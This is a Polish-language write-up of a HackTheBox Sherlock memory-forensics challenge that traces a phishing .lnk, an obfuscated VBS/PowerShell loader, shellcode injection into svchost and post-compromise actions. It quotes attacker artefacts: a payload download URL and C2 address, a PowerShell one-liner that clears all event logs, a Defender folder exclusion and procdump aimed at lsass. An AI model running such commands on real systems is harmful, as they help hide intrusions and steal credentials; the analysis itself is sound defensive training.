HTB Sherlock - OpTinselTrace-3 Writeup

HTB Sherlock - OpTinselTrace-3 Writeup

Scenariusz Zadania

O nie! Nasz administrator IT to trochę zakręcony człowiek, ByteSparkle zostawił swój plik konfiguracyjny VPN w naszym eleganckim prywatnym miejscu na S3! Źli napastnicy mogli uzyskać dostęp do naszej wewnętrznej sieci. Myślimy, że skompromitowali jedno z naszych stanowisk TinkerTech. Nasz zespół ds. bezpieczeństwa zdołał zdobyć dla Ciebie zrzut pamięci - przeanalizuj go i odpowiedz na pytania! Święty Mikołaj czeka… Uwaga - te zagadki Sherlocka zostały zaprojektowane tak, aby były rozwiązywane w kolejności i po kolei!

(ang. Oh no! Our IT admin is a bit of a cotton-headed ninny-muggins, ByteSparkle left his VPN configuration file in our fancy private S3 location! The nasty attackers may have gained access to our internal network. We think they compromised one of our TinkerTech workstations. Our security team has managed to grab you a memory dump - please analyse it and answer the questions! Santa is waiting… Please note - these Sherlocks are built to be completed sequentially and in order!)

Artefakty

Po rozpakowaniu pobranego pliku ZIP, w celu rozwiązania zadania, otrzymujemy jeden plik o nazwie santaclaus.bin (Rys. 1).

Rys. 1. Zawartość pobranego pliku zip po rozpakowaniu.
Rys. 1. Zawartość pobranego pliku zip po rozpakowaniu.
Po wykonaniu polecenia python vol.py -f santaclaus.bin imageinfo uzyskujemy podstawowe informacje na temat zrzutu pamięci, takie jak używany system operacyjny oraz czas, jaki był ustawiony na systemie podczas tworzenia pliku (Rys. 2).
Rys. 2. Podstawowe informacje na temat otrzymanego zrzutu pamięci.
Rys. 2. Podstawowe informacje na temat otrzymanego zrzutu pamięci.

Rozwiązanie

Zadanie 1

Jak nazywa się plik, który prawdopodobnie został skopiowany z folderu współdzielonego (wraz z rozszerzeniem)?

(ang. What is the name of the file that is likely copied from the shared folder (including the file extension)?)

Swoje poszukiwania rozpocząłem od wyszukiwania plików za pomocą polecenia python3 vol.py -f santaclaus.bin windows.filescan. Ponieważ wynik był bardzo obszerny i trudno było w nim cokolwiek znaleźć, postanowiłem zawęzić zakres poszukiwań. Na początek zdecydowałem, że będę szukał w katalogu domowym użytkownika santaclaus. Tutaj również trudno było cokolwiek znaleźć, ponieważ lista plików nadal była bardzo duża. Pomyślałem, że plik, który prawdopodobnie został skopiowany, powinien znajdować się w łatwo dostępnej lokalizacji dla użytkownika. Rozpocząłem poszukiwania od pulpitu. Za pomocą polecenia python3 vol.py -f santaclaus.bin windows.filescan | grep santaclaus | grep 'Desktop' wylistowałem wszystkie pliki znajdujące się na pulpicie użytkownika santaclaus i zauważyłem plik present_for_santa.zip, który okazał się prawidłową odpowiedzią (Rys. 3).

Rys. 3. Nazwa prawdopodobnie skopiowanego pliku.
Rys. 3. Nazwa prawdopodobnie skopiowanego pliku.

Odpowiedź: present_for_santa.zip

Zadanie 2

Jak nazywa się plik użyty do wywołania ataku (wraz z rozszerzeniem)?

(ang. What is the file name used to trigger the attack (including the file extension)?)

Najpierw, za pomocą polecenia python3 vol.py -f santaclaus.bin windows.dumpfiles --virtaddr 0xa48df8fb42a0, wyodrębniłem plik present_for_santa.zip (Rys. 3). Następnie, po jego rozpakowaniu, pojawił się plik click_for_present.lnk (Rys. 4).

Rys. 4. Wyodrębnienie pliku <code>present_for_santa.zip</code>.
Rys. 4. Wyodrębnienie pliku present_for_santa.zip.
Rys. 5. Zawartość archiwum <code>present_for_santa.zip</code>.
Rys. 5. Zawartość archiwum present_for_santa.zip.

Odpowiedź: click_for_present.lnk

Zadanie 3

Jak nazywa się plik uruchomiony przez click_for_present.lnk (wraz z rozszerzeniem)?

(ang. What is the name of the file executed by click_for_present.lnk (including the file extension)?)

Za pomocą polecenia strings -e l present_for_santa/click_for_present.lnk przeglądam zawartość pliku i odnajduję w nim uruchomienie powershell.exe z poleceniem zakodowanym w base64. Po jego zdekodowaniu odkrywam nazwę uruchamianego pliku (Rys. 6). Jest to ten sam plik, który znajduje się w repozytorium.

Rys. 6. Plik uruchamiany przez skrót <code>click_for_present.lnk</code>.
Rys. 6. Plik uruchamiany przez skrót click_for_present.lnk

Odpowiedź: present.vbs

Zadanie 4

Jak nazywa się program użyty przez skrypt VBS do wykonania kolejnego etapu?

(ang. What is the name of the program used by the vbs script to execute the next stage?)

Skrypt present.vbs zawiera wiele komentarzy, które mają na celu jego zaciemnienie – łącznie plik ma ponad 5 tysięcy linii (Rys. 7).

Rys. 7. Zawartość pliku <code>present.vbs</code>.
Rys. 7. Zawartość pliku present.vbs
Aby lepiej zrozumieć, co się w nim dzieje, na początku usunąłem komentarze oraz nieużywane linie za pomocą CyberChef (Rys. 8). Atakujący wykorzystuje WMI do enumeracji uruchomionych procesów, szukając konkretnego, który zawiera znak “s” w swojej nazwie. Następnie używa tego znaku, łącząc go ze słowami “power” i “hell”, tworząc w ten sposób ciąg “powershell”.
Rys. 8. Częściowa deobfuskacja pliku <code>present.vbs</code> za pomocą CyberChef.
Rys. 8. Częściowa deobfuskacja pliku present.vbs za pomocą CyberChef.

Odpowiedź: powershell.exe

Zadanie 5

Jak nazywa się funkcja używana do zaciemniania skryptów w PowerShell?

(ang. What is the name of the function used for the powershell script obfuscation?)

Aby znaleźć odpowiedź na to pytanie, musiałem dalej zdeobfuskować kod skryptu. Z dalszej analizy wynika, że atakujący dodaje ładunek do zmiennej A4. Po połączeniu wszystkich ciągów znaków, zamienia podciąg “GRINCH” na znak “i”, a następnie wykonuje zawartość zmiennej A4. Za pomocą CyberChef udało mi się zdeobfuskować kolejny fragment skryptu. Wynika z niego, że przy użyciu funkcji WrapPresent przeprowadzany jest kolejny etap deobfuskacji (Rys. 9).

Rys. 9. Funkcja do deobfuskacji zawartości skryptu stworzona przez atakującego.
Rys. 9. Funkcja do deobfuskacji zawartości skryptu stworzona przez atakującego.

Odpowiedź: WrapPresent

Zadanie 6

Jaki jest URL, z którego pobrano kolejny etap?

(ang. What is the URL that the next stage was downloaded from?)

W kolejnym kroku przystąpiłem do dalszej deobfuskacji skryptu. Wiedząc, jak zdeobfuskować pozostałą część, napisałem fragment kodu w Pythonie, który wykonuje to samo, co funkcja WrapPresent stworzona przez atakującego. Po kilkunastu próbach uzyskałem odpowiedź (Rys. 10).


"""
 Function WrapPresent ($Ensproglig){$Nringsvirksomhedernes = $Ensproglig.Length-1; For ($Smiths211=6; $Smiths211 -lt $Nringsvirksomhedernes){$Malice=$Malice+$Ensproglig.Substring($Smiths211, 1);$Smiths211+=7;}$Malice;};
"""


def WrapPresent(Ensproglig):
    Nringsvirksomhedernes = len(Ensproglig) - 1
    Malice = ''
    Smiths211 = 6
    while Smiths211 < Nringsvirksomhedernes:
        Malice = Malice + Ensproglig[Smiths211]
        Smiths211 += 7

    return Malice

cmd = [
    "Once uhon a ttme, intthe whpmsical:town o/ Holid/y Holl7w, the7e live. two l7gendar4 figur.s know1 far a9d wide8 the G.inch a5d Sant2 Claus/ They desidedeon oppssite stdes ofrthe toon, eacy with _heir ocn uniqhe charrcterisiics thst defited them. The arinch,sa soli/ary creature,vdwellei in a lave at_p Mounp Crumprt. Wite his gseen fue and anheart teeming.y two jizes tpo smalg, he h",
    'd a peichant eor misxhief a',
    "d a di$dain fpr anyteing fertive. se despesed thn joyout celebLationsothat echoed tarough the towi, espeoially nuring =he win$er holedays. nn the vther s:de of tolidayeHollowm nestlpd in ac",
    'cozy w\\rkshoppat therNorth eole, lsved the jollynand betevolen. SantaeClaus.xWith hes roun',
    " belly$ rosy pheeks,eand a reart bsimmingewith knndnesst he spLnt hisodays ccaftingatoys ftr chiliren around thn world=and sp$eadingpcheer eherever he west. Yeae afternyear, ts the Lolidayoseasoncapproaahed, tte townifolk eogerly nrepare+ for f$stivitFes, adirning lhe streets wih",
    'h ligh.s, set ing up$decoragions, lnd sinuing johful tuwes. Whele Sania businy prep red hi( sleigN and ceecked wis lis- twiceO the Gbinch sjethed en his cave, itritate  by thn merrieent thtt fill.d the wir. One fatefbl wintcr, a plrticulirly ice chillnswept through)Holida. HolloD, causong chaws and nisruptlng theoholidaa spirid. The Fnowstoims grel wildee, and (he tow$sfolk ptrugglrd to keep thesr festeve tranitionstalive.,Childr$n werepdisappeinted rs the srospece of a noyous telebraLion diomed. Wctnessiag the towns distresso Santanknew h) had t; do soe'
    "ethingSto restore tha holidry cheet. With-a twinPle in ris eyeoand a ceart fell of sope, hs decid d to p$y a vipit t",
    ]

for c in cmd:
    print(WrapPresent(c))

Rys. 10. Wynik deobfuskacji skryptu wykonującego kolejny etap.
Rys. 10. Wynik deobfuskacji skryptu wykonującego kolejny etap.

Odpowiedź: http://77.74.198.52/destroy_christmas/evil_present.jpg

Zadanie 7

Jaki jest adres IP i port, z którego wykonano pobranie shellcode (IP)?

(ang. What is the IP and port that the executable downloaded the shellcode from (IP:Port)?)

Z poprzedniego zadania wiem, że został uruchomiony plik present.exe, więc wróciłem do narzędzia Volatility i zrzutu pamięci. Za pomocą polecenia python3 vol.py -f santaclaus.bin windows.filescan | grep present znalazłem plik .exe, a następnie go wyodrębniłem (Rys. 11).

Rys. 11. Wyodrębnienie pliku <code>present.exe</code>.
Rys. 11. Wyodrębnienie pliku present.exe.
Najpierw spróbowałem najprostszą metodą, używając strings, aby sprawdzić, czy bez użycia dekompilatora można znaleźć odpowiedź. Z wyniku polecenia strings uzyskałem jedynie adres IP, bez portu. Dlatego w kolejnym kroku skorzystałem z narzędzia IDA i wygenerowałem pseudo kod (Rys. 12).
Rys. 12. Dekompilacja pliku za pomocą IDA - pseudokod.
Rys. 12. Dekompilacja pliku za pomocą IDA - pseudokod
Aby zaoszczędzić czas na analizę pliku, skorzystałem z ChatGPT, który bardzo szybko podał mi odpowiedź dotyczącą portu użytego do nawiązania połączenia (Rys. 13).
Rys. 13. Wykorzystanie ChataGTP do analizy kodu.
Rys. 13. Wykorzystanie ChataGTP do analizy kodu.

Odpowiedź: 77.74.198.52:445

Zadanie 8

Jaki jest identyfikator procesu (PID) zdalnego procesu, do którego wstrzyknięto shellcode?

(ang. What is the process ID of the remote process that the shellcode was injected into?)

Z treści zadania wiem, że present.exe wstrzyknął kod do innego procesu. Za pomocą polecenia python3 vol.py -f santaclaus.bin windows.psscan | grep present najpierw odnalazłem PID procesu present.exe (Rys. 14).

Rys. 14. PID processu <code>present.exe</code>.
Rys. 14. PID processu present.exe.
Następnie, używając python3 vol.py -f santaclaus.bin windows.handles --pid 3248, sprawdziłem, do czego odwołuje się ten proces. Na końcu listy zauważyłem, że znajduje się tam proces svchost.exe z PID 724 (Rys. 15).
Rys. 15. Nazwa procesu oraz PID, do którego został wstrzyknięty shellcode.
Rys. 15. Nazwa procesu oraz PID, do którego został wstrzyknięty shellcode.

Odpowiedź: 724

Zadanie 9

Po ustanowieniu połączenia Command & Control, jaką komendę użył napastnik do wyczyszczenia wszystkich dzienników zdarzeń?

(ang. After the attacker established a Command & Control connection, what command did they use to clear all event logs?)

Najpierw przeszukałem obraz pod kątem plików z rozszerzeniem .evtx. Ponieważ było ich zbyt wiele, aby wyodrębniać wszystkie, postanowiłem ograniczyć zakres poszukiwań do dzienników związanych z PowerShell. Za pomocą polecenia python3 vol.py -f santaclaus.bin windows.filescan | grep evtx | grep -i powershell wylistowałem pliki, którymi byłem wstępnie zainteresowany (Rys. 16).

Rys. 16. Dzienniki zdarzeń związane z PowerShell.
Rys. 16. Dzienniki zdarzeń związane z PowerShell.
Poszukiwania rozpocząłem od wyodrębnienia pliku Windows PowerShell.evtx. Następnie, używając polecenia chainsaw search "powershell.exe" --skip-errors . | grep Clear, przeszukałem zawartość pod kontem słowa kluczowego Clear. Chainsaw znalazł tylko jedno polecenie, które okazało się być odpowiedzią (Rys. 17).
Rys. 17. Polecenie wykonane przez atakującego do wyczyszczenia dzienników zdarzeń.
Rys. 17. Polecenie wykonane przez atakującego do wyczyszczenia dzienników zdarzeń.

Odpowiedź: Get-EventLog -List | ForEach-Object { Clear-EventLog -LogName $_.Log }

Zadanie 10

Jaka jest pełna ścieżka folderu, który został wykluczony z ochrony programu Defender?

(ang. What is the full path of the folder that was excluded from defender?)

Za pomocą polecenia chainsaw search "powershell.exe" --skip-errors . | grep Exclusion przeszukałem wszystkie polecenia, które mogą zawierać słowo “Exclusion” (Rys. 18). Cmdlet Add-MpPreference, odpowiedzialny za modyfikację ustawień Windows Defendera, jednoznacznie potwierdził moje znalezisko.

Rys. 18. Ścieżka do wykluczonego folderu.
Rys. 18. Ścieżka do wykluczonego folderu.

Odpowiedź: C:\users\public

Zadanie 11

Jakie była oryginalna nazwa pliku, który został przesłany na komputer ofiary?

(ang. What is the original name of the file that was ingressed to the victim?)

Jeszcze raz wróciłem do narzędzia Chainsaw, aby przejrzeć polecenia wykonane przez atakującego. Nawet nie zdążyłem przejść na początek wyników, gdy zauważyłem plik PresentForNaughtyChild.exe (Rys. 19).

Rys. 19. Polecenie wykonane przez atakującego z wykorzystaniem nowego pliku.
Rys. 18. Polecenie wykonane przez atakującego z wykorzystaniem nowego pliku.
Wszystkie pliki w tej kampanii zawierały słowo kluczowe „present”, więc od razu skupiłem się na znalezieniu i wyodrębnieniu tego pliku (Rys. 20).
Rys. 20. Znalezienie pliku <code>PresentForNaughtyChild.exe</code>.
Rys. 20. Znalezienie pliku PresentForNaughtyChild.exe.
Po pobraniu pliku i przesłaniu go do VirusTotal otrzymałem jego oryginalną nazwę (Rys. 21).
Rys. 21. Oryginalna nazwa pliku.
Rys. 21. Oryginalna nazwa pliku.

Odpowiedź: procdump.exe

Zadanie 12

Jak nazywa się proces, na który jest skierowany procdump.exe?

(ang. What is the name of the process targeted by procdump.exe?)

Z poprzedniego zadania, z wykrytej linii poleceń (Rys. 22).

Rys. 22. Argumenty przekazane do <code>procdump.exe</code>.
Rys. 22. Argumenty przekazane do procdump.exe.

Odpowiedź: lsass.exe